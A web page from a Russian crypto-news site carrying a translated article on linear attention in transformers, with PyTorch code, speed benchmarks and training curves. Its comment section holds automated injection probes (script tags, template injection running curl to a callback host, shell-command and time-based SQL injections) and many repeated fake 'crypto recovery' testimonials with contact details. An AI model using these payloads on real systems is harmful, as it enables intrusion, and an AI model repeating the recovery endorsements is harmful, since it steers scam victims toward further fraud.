Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Русский Русский  English English
Войти / Регистрация
Cryptocurrencies: 9505 / Markets: 114717
Market Cap: $ 3 663 340 658 986 / 24h Vol: $ 222 537 540 211 / BTC Dominance: 58.861607907734%

Н Новости

  1. Главная
  2. Новости

Всё, что вам нужно — это линейное внимание

Можно ли реализовать механизм внутреннего внимания, потребляющий гораздо меньше ресурсов, чем обычно?

daccdf75e2c9da956c86b49afadf0631.png

Говорят, что механизм внимания плохо переносит работу с последовательностями большой длины. Это — идея, которая встречалась любому, кто потратил достаточно много времени, занимаясь трансформерами и механизмом внутреннего внимания. Это, одновременно, и так, и не так. С одной стороны — с этим сталкивался каждый, кто пытался увеличить размеры контекста своей модели, натыкаясь при этом на то, что модель начинала работать с сильным скрипом. С другой стороны — возникает такое ощущение, что практически каждую неделю выходит новая эталонная модель, которая характеризуется новыми размерами контекста, бьющими все рекорды. (Контекстное окно Gemini составляет 2 миллиона токенов!)

Есть много хитроумных методов, вроде RingAttention, которые позволяют обучать модели с очень большими размерами контекста на мощных распределённых системах. Но сегодня меня интересует всего один простой вопрос: «Как далеко можно зайти, применяя лишь механизм линейного внимания?».

Разбираемся с математикой

Этот разбор будет представлять собой нечто вроде поездки «галопом по европам», но прошу вас это прочесть, так как тут будут затронуты некоторые важные вещи, которые пригодятся нам, когда мы доберёмся до результатов моего исследования.

Традиционный механизм внимания можно представить себе в виде конструкции, в которой можно выделить два ключевых момента:

  • Первый — это обычное для механизмов внимания softmax‑выражение, которое принимает произведение матриц Q (query, запрос) и K (key, ключ) и нормализует значения ради стабильности. Далее — к данным применяют функцию softmax (построчно), получая таким образом оценки внимания между каждой парой элементов последовательности.

  • Второй — это оценка временной сложности алгоритма, которая определяется точечным произведением N2. Эта операция, выполняемая внутри softmax, является ограничивающим фактором модели. Именно здесь вычисляются оценки внимания.

Это выражается в виде такой вот традиционной формулы:

https://miro.medium.com/v2/resize:fit:700/1*Lbknm6U_c_gSGBdRv5_iIw.png
Традиционное описание механизма внимания, реализуемого с использованием softmax

Если обратиться к нашим друзьям-математикам, то окажется, что всё это можно рассматривать с несколько иной точки зрения. Функцию softmax можно считать одним из многих способов описания распределения вероятностей, связывающих токены друг с другом. Мы можем использовать любую интересную нам меру сходства токенов (точечное произведение — это один из самых простых таких показателей), и до тех пор, пока мы будем применять нормализацию, всё у нас будет хорошо.

https://miro.medium.com/v2/resize:fit:700/1*hvn8dSdpFBmPnZWQXmZvJw.png
Общее выражение, описывающее механизм внимания, в котором применяется любая функция сходства

Немного некорректно будет говорить, что это и есть механизм внимания. Ведь, на самом деле, в единственном механизме внимания, который мы знаем и любим, функция сходства представляет собой функцию exp, принимающую точечное произведение матриц Q и K (показана ниже), как это можно видеть в softmax.

https://miro.medium.com/v2/resize:fit:700/1*dS2g18i1FgOmOOM8kwmvpA.png
Приближение функции сходства из механизма внутреннего внимания с двумя картами признаков

Можно предположить, что тут имеется некая карта признаков «phi», которая даёт нам результат, практически точно такой же, который получают, применяя функцию exp к точечному произведению. И, что очень важно, подобное выражение позволяет нам экспериментировать с порядком операций умножения матриц.

В этой публикации для формирования карты признаков предложена функция Exponential Linear Unit (ELU):

https://miro.medium.com/v2/resize:fit:540/1*LkzH80BopvEaa7M-0K6MsQ.png
Функция Exponential Linear Unit (ELU)

Она обладает многими полезными свойствами:

  1. Для значения больше 0 ELU(x) выдаёт линейный результат, который, хотя и не является тем же самым, что и результат функции exp, сохраняет относительное упорядочение оценок.

  2. Для значений, которые меньше или равны 0, экспоненциальное выражение сохраняет непрерывную природу функции и обеспечивает такое обращение с градиентами, при котором они не могут просто исчезнуть.

https://miro.medium.com/v2/resize:fit:700/1*bWwrVXG12wMnrxZFdFnedQ.png
Функция Exponential Linear Unit (ELU)

Здесь мы больше об этом особо говорить не будем, отмечу лишь, что имеются очень хорошие эмпирические доказательства того, что эта конструкция представляет собой адекватное приближение функции softmax.

Важно то, что применение ELU позволяет нам менять порядок операций. Мы можем сначала получить произведение карты признаков с K и V (value, значение) для формирования блока KV, а затем — получить произведение с Q. В результате речь будет идти о работе с данными, размеры которых соответствуют размерности модели, а не длине входной последовательности.

Если свести всё это воедино, получится выражение для вычисления линейного внимания:

https://miro.medium.com/v2/resize:fit:700/1*iKD7-nt-_nEQqEa3n1Fnvg.png
Вычисление линейного внимания с использованием карт признаков для аппроксимации показателя сходства softmax

Здесь всего лишь нужно, один раз на строку Q, вычислить выражения, находящиеся в скобках.

(Если вы хотите разобраться с тем, как сюда вписывается использование методики causal masking, и как вычисляются градиенты, почитайте вышеупомянутую публикацию, или ждите моих новых материалов).

Какой прирост в скорости даёт механизм линейного внимания?

Математика чётко указывает на то, что применение линейного внимания даёт хороший прирост в скорости, но лично я, до тех пор, пока не увижу результаты реальных измерений, отношусь к подобным вещам с некоторым подозрением.

Начнём с рассмотрения следующего фрагмента кода, в котором описывается всё то, о чём мы говорили. Механизм внимания, при реализации которого применяется softmax, выглядит очень привычно, здесь мы не делаем ничего экстраординарного.

class TraditionalAttention(nn.Module):
    def __init__(self, d_k):
        super(TraditionalAttention, self).__init__()
        self.d_k = d_k

    def forward(self, Q, K, V):
        Z = torch.sqrt(torch.tensor(self.d_k, device=Q.device, dtype=torch.float32))
        scores = torch.matmul(Q, K.transpose(-2, -1)) / Z
        attention_weights = F.softmax(scores, dim=-1)
        output = torch.matmul(attention_weights, V)
        return output

А при написании кода для линейного внимания мы начинаем с получения матриц Query, Key и Value, затем формируем карты признаков Query и Key с помощью ELU(x). После этого, используя einsum, выполняем умножение.

class LinearAttention(nn.Module):
    def __init__(self):
        super(LinearAttention, self).__init__()
        self.eps = 1e-6

    def elu_feature_map(self, x):
        return F.elu(x) + 1

    def forward(self, Q, K, V):
        Q = self.elu_feature_map(Q)
        K = self.elu_feature_map(K)
        KV = torch.einsum("nsd,nsd->ns", K, V)
        # Вычисляем нормализатор
        Z = 1/(torch.einsum("nld,nd->nl", Q, K.sum(dim=1))+self.eps)
        # В итоге - вычисляем и возвращаем новые значения
        V = torch.einsum("nld,ns,nl->nd", Q, KV, Z)
        return V.contiguous()

Прекрасно видеть это всё в виде кода. А как эта конструкция покажет себя в эксперименте? О каком росте производительности мы тут говорим? Сложно может быть оценить то, о каком ускорении может идти речь при переходе от квадратичных к линейным ограничениям, поэтому я решил всё проверить на практике.

Мы собираемся взять один слой внимания с фиксированным измерением модели d_k, равным 64, и измерить время, необходимое для выполнения прямого прохода при использовании набора последовательностей с размером пакета 32. Единственная переменная, которая будет меняться — это длина последовательности. Она изменяется в диапазоне от 128 до 6000 (для справки — длина контекста GPT-3 составляет 2048). Прогон модели в каждом из состояний выполняется 100 раз, что позволяет вычислить показатели среднего значения и стандартного отклонения результатов. Эксперименты выполняются на GPU Nvidia T4.

Если учитывать то, о каком простом эксперименте идёт речь, можно сказать, что результаты получились довольно-таки впечатляющими.

https://miro.medium.com/v2/resize:fit:700/1*yx6qMZ8N9xvb-K88L-956A.png
Измерение времени, уходящего на итерацию для обработки одной последовательности с помощью традиционного механизма внимания (softmax) и механизма линейного внимания. Показатель для каждой длины последовательности представляет собой усреднённые данные и стандартное отклонение, полученные при выполнении более чем 100 итераций. Длина последовательности находится в диапазоне от 128 до 6000. Здесь же дан показатель соотношения времени, необходимого на выполнении итерации при использовании разных механизмов внимания (Ratio), что позволяет нагляднее представить рост скорости работы модели.

Видно, что даже на таком маленьком примере мы получили 60-кратный прирост скорости.

Анализ результатов

По результатам эксперимента можно сделать несколько очевидных выводов:

  1. Линейное внимание обладает неоспоримым преимуществом перед обычным — как в плане скорости выполнения, так и в плане потребления памяти. Если говорить о скорости, то повышение пропускной способности системы — это всегда хорошо. А экономия потребления памяти может оказаться огромным плюсом в системах, обладающих небольшим объёмом памяти.

  2. График Ratio характеризуется необычным изломом. Это наводит на мысли о некоей дополнительной низкоуровневой оптимизации, и о том, что реальное соотношение скорости работы систем с разными механизмами внимания может отличаться от теоретического. Поэтому не стоит слепо доверять этим результатам.

Для полноты картины отмечу, что не стоит впадать в заблуждение, считая, что «механизм линейного внимания в 60 раз быстрее механизма обычного внимания в маленьких моделях». В реальности слои прямого распространения трансформеров часто представляют собой сущности, описываемые довольно большими количествами параметров. А энкодер и декодер часто представляют собой структуры ограниченного размера. Но если говорить о нашей чётко очерченной задаче, можно сказать, что результаты мы получили очень и очень хорошие!

Вычислительная сложность

Если подумать о реальной временной сложности каждого из подходов — это позволит понять то, в чём именно заключается замеченная нами разница между ними.

Рассмотрим временную сложности традиционного механизма внимания, основанного на softmax. Первое выражение даёт временную сложность умножения Q на K — это будет показатель n2, характеризующий количество оценок внимания, умноженный на вектор размера d_k. Второе выражение описывает сложность применения softmax к оценкам внимания. Он тоже равняется n2. А третий элемент представляет собой точечное произведение матриц n2 и V.

Если, для простоты, предположить, что матрицы Q, K и V имеют одну и ту же размерность, то в итоге окажется, что основной вклад во временную сложность алгоритма вносит показатель n2. (Учитывая то, что размерность модели намного меньше длины входной последовательности.)

https://miro.medium.com/v2/resize:fit:700/1*gPwkm4eh9CXEgWNhMcWIzQ.png
Обычный механизм внимания, основанный на softmax, характеризуется временной сложностью n2, зависящей от длины последовательности, при том, что обычно размерность модели d_k намного меньше n

В случае с линейным механизмом внимания всё выглядит несколько иначе. Мы, как и прежде, глядя на выражение, описывающее временную сложность алгоритма, проанализируем каждую его часть.

Первое выражение характеризует временную сложность применения карты признаков к матрицам Q и K. Второе выражение — это произведение матриц Q и V, что даёт матрицу (d_k, d_v). Операция умножения K(QV) в третьем выражении имеет ту же временную сложность. В результате, учитывая то, что размерности модели для разных матриц будут одними и теми же, мы получаем итоговую сложность — линейную для длины последовательности, и квадратичную для размерности модели.

https://miro.medium.com/v2/resize:fit:700/1*T33iDSmsnv-XSUgk6gA9OA.png
Линейный механизм внутреннего внимания меняет правила игры. Он характеризуется линейной временной сложностью для n и квадратичной сложностью для размерности модели (если скрытые измерения dk и dv одинаковые, как, в нашем случае, сделано ради простоты). В результате в любом режиме, когда n значительно больше dk, мы получаем гораздо меньшую сложность.

Поэтому получается, что до тех пор, пока размерность модели меньше, чем длина входной последовательности, модель будет работать гораздо быстрее. У нас остался лишь один реальный вопрос: насколько хорошо наша конструкция способна воспроизвести то, что умеет классический механизм внимания?

За всё надо платить — можно ли обучить нашу модель?

Пожалуй, хватит уже о механизме линейного внимания — надеюсь, все уже поняли, что оно гораздо быстрее традиционного. Предлагаю проверить то, что у нас получилось, на реальной задаче. Можно ли обучать модели с линейным механизмом внимания? Будут ли модели с разными механизмами внимания работать похожим образом?

Те модели, которыми мы здесь пользуемся, очень малы (если аудитории будет интересна тема настройки простого окружения обучения подобных моделей — я вполне могу об этом когда-нибудь написать), мы пользуемся простым набором данных. Речь идёт о наборе данных Penn Treebank (он находится в свободном доступе, найти его можно в torchtext). Он содержит коллекцию коротких фрагментов текста, которые можно использовать для обучения и тестирования маленьких языковых моделей.

Можно ли научить реальную модель делать реальные прогнозы?

Ну — реальные прогнозы, если честно, в нашем случае — это немного притянуто за уши. Не будем забывать о числе параметров модели и о времени, которое планируется потратить на обучение. Главное, что меня здесь интересует — это то, похожа ли динамика обучения модели с линейным механизмом внимания на динамику обучения модели с классическим механизмом внимания. Мы взглянем на кривые потерь для авторегрессионного обучения «линейной» модели на простом наборе данных для языкового моделирования. Если эти кривые будут похожи на те, что характерны для «классических» моделей — это, по крайней мере, даст нам некоторую уверенность в том, что разные механизмы дают похожие результаты.

Учитывая природу данных, можно сказать, что выходы модели редко можно признать высококачественными, но они дают нам всё то, что мы ожидаем увидеть в том случае, если прогон обучения модели пройдёт так, как нужно.

Посмотрим на кривые обучения. Первый график, на котором различимы две кривые, показывает потери обучения и валидации для моделей с традиционным и линейным механизмами внимания. Можно видеть, проанализировав более 10 эпох, что эти два подхода практически неразличимы. Аналогично, если взглянуть на второй график, видно, что потери для традиционного softmax-подхода и для линейного механизма внимания, снова, показывают абсолютно идентичную динамику обучения.

https://miro.medium.com/v2/resize:fit:1200/1*kM3EWUb_JQNnp0yLTNwpSg.png
Потери обучения и валидации по эпохам для моделей с линейным и традиционным механизмами внимания
https://miro.medium.com/v2/resize:fit:1200/1*4WceavsoqH9wXIHjxfxxbA.png
Кривые потерь обучения для линейного и традиционного механизмов внимания

Итоги

Конечно, описанный здесь подход к построению моделей нельзя назвать совершенно универсальным, но мы тут и не собирались конкурировать с GPT-моделями. Однако то, о чём тут шла речь, позволяет весьма оптимистично смотреть в сторону уменьшения сложности механизма внимания, не теряя при этом возможности моделировать что-то полезное с помощью соответствующих конструкций.

О, а приходите к нам работать? 🤗 💰

Мы в wunderfund.io занимаемся высокочастотной алготорговлей с 2014 года. Высокочастотная торговля — это непрерывное соревнование лучших программистов и математиков всего мира. Присоединившись к нам, вы станете частью этой увлекательной схватки.

Мы предлагаем интересные и сложные задачи по анализу данных и low latency разработке для увлеченных исследователей и программистов. Гибкий график и никакой бюрократии, решения быстро принимаются и воплощаются в жизнь.

Сейчас мы ищем плюсовиков, питонистов, дата-инженеров и мл-рисерчеров.

Присоединяйтесь к нашей команде

Источник

Теги

Категория

Новости

Дата

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and 